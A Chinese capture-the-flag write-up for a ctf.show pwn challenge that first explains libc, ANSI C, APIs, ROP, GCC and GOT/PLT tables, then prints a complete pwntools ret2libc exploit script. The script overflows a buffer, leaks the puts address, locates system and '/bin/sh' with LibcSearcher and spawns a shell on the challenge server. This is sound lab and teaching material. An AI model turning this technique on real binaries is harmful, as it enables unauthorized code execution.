题目:
在做本道题前,我们先了解所必要的知识
Libc是什么?
英文名字:Standard C library,其翻译过来,C语言标准库
它是符合ANSI C标准的一个函数库
学过C语言会明白
ANSI C标准又是什么?
1983年,美国国家标准协会(ANSI)组成了一个委员会,X3J11,为了创立 C 的一套标准
1989年完成,这个版本的语言经常被称作ANSI C,或有时称为C89(为了区别C99)
在1990年,ANSI C标准(带有一些小改动)被美国国家标准协会(ANSI)采纳为ISO/IEC 9899:1990
这个版本有时候称为C90或者ISO C
API是什么?
API 是允许两个软件组件使用一组定义和协议相互通信的机制,什么意思呢?
举个例子假如我坐滴滴
我需要用API去申请服务,告诉API将我从哪里,到哪里这些条件说清楚
滴滴再根据API反馈给我
同时
API 代表应用程序编程接口
在 API 环境中,应用程序一词指的是任何具有独特功能的软件。接口可以看作是两个应用程序之间的服务合约
该合约定义了两者如何使用请求和响应相互通信
它们的 API 文档包括与开发人员如何构建这些请求和响应有关的信息
ROP是什么?
ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击
攻击者从已有的库或可执行文件中提取指令片段
构建恶意代码
GCC是什么?
GCC是以GPL许可证所发行的自由软件,也是GNU计划的关键部分
GCC的初衷是为GNU操作系统专门编写一款编译器
现已被大多数类Unix操作系统(如Linux、BSD、MacOS X等)采纳为标准的编译器
甚至在微软的Windows上也可以使用GCC
GCC支持多种计算机体系结构芯片,如x86、ARM、MIPS等
并已被移植到其他多种硬件平台
GCC原名为GNU C语言编译器(GNU C Compiler),只能处理C语言
但其很快扩展,变得可处理C++,后来又扩展为能够支持更多编程语言
如Fortran、Pascal、Objective -C、Java、Ada、Go以及各类处理器架构上的汇编语言等
所以改名GNU编译器套件(GNU Compiler Collection)
GOT表和PLT表
程序还未执行时,got表里还是plt表的地址
程序执行后,plt表里是got表的地址,got表是函数的真实地址
跟pwn02差不多,唯一多的就是了解libc函数
和上面的图中所给出靶场不同
我开了一个
看脚本吧
from pwn import*
from LibcSearcher import*
elf=ELF('./stack1')
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28105)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()
值得注意的是你的文件放的位置很重要!